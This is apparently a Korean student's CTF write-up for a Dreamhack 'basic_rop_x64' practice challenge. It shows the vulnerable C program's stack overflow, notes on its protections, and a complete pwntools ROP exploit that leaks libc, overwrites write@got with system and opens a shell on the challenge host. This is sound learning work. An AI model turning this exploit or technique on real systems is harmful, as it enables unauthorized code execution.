#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
보호 기법 검사

카나리가 없었구나.. NX enabled
코드 분석 read와 write libc.so.6 함수들 존재 -> system 함수 알아내자 read에서 오버플로우 발생 -> 카나리 알아내자(필요없음 카나리 없음..) write에서 어떻게 하지..? ret를 다시 read로 돌릴 수 있나..? ㅎㅎ 모르겠음 라이트업 봐야겠음
스택 구조 프레임

0x40 할당 64니까 카나리 8비트.. ret도 8 64비트는 함수 호출할 때 스택이 아닌 레지스터 값 참조.. rdi,rsi, rdx순으로..

info function 명령어 입력하면 plt가 주르륵 나옴 system(‘/bin/sh’) 넣을 것이기 때문에 인자 rdi만 필요

익스플로잇 설계
- ret에 pop rdi 가젯 주소 넣어서 puts@got를 rdi 레지스터에 삽입 -> puts 함수 주소와 libc_base 얻기, system도
- ret에 main함수로 돌아와서 다시 버퍼오버플로우
- 배웠던대로 system 함수 호출
익스플로잇
from pwn import *
context.arch='amd64'
def slog(n,m):
return success(': '.join([n,hex(m)]))
p=remote('host3.dreamhack.games',10712)
e=ELF('./basic_rop_x64')
libc=ELF('./libc.so.6')
r=ROP(e)
# 필요 정보 수집
pop_rdi=0x400883
read_plt=e.plt['read']
write_plt=e.plt['write']
read_got=e.got['read']
write_got=e.got['write']
bss=e.bss()
read_offset=libc.symbols['read']
system_offset=libc.sym['system']
pop_rdi=r.find_gadget(['pop rdi','ret'])[0]
pop_rsi_r15=r.find_gadget(['pop rsi','pop r15','ret'])[0]
ret=r.find_gadget(['ret'])[0]
payload=b'a'*0x48
# write(1, read@got,16) -> read의 실제 주소 leak
payload+=p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi_r15)+p64(read_got)+p64(16)
payload+=p64(write_plt)
# read(0,bss,8) -> bss 영역에 문자열 작성(ASLR 우회)
payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi_r15)+p64(bss)+p64(8)
payload+=p64(read_plt)
# write@got를 system 실제 주소로 got overwrite
payload+=p64(pop_rdi)+p64(0)
payload+=p64(pop_rsi_r15)+p64(write_got)+p64(16)
payload+=p64(read_plt)
# 문자열을 인자로 write() 호출 -> write@got를 system으로 덮어썼으므로 실제로는 system 실행
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(bss)
payload+=p64(write_plt)
# 익스플로잇
p.send(payload)
p.recvuntil(b'a'*0x40)
read=u64(p.recvn(6)+b'\x00'*2)
lb=read-read_offset
system=lb+system_offset
slog('libc_base',lb)
slog('read',read)
slog('system',system)
p.send(b'/bin/sh\x00')
p.send(p64(system))
p.interactive()

rop 복습 많이.. 어렵다..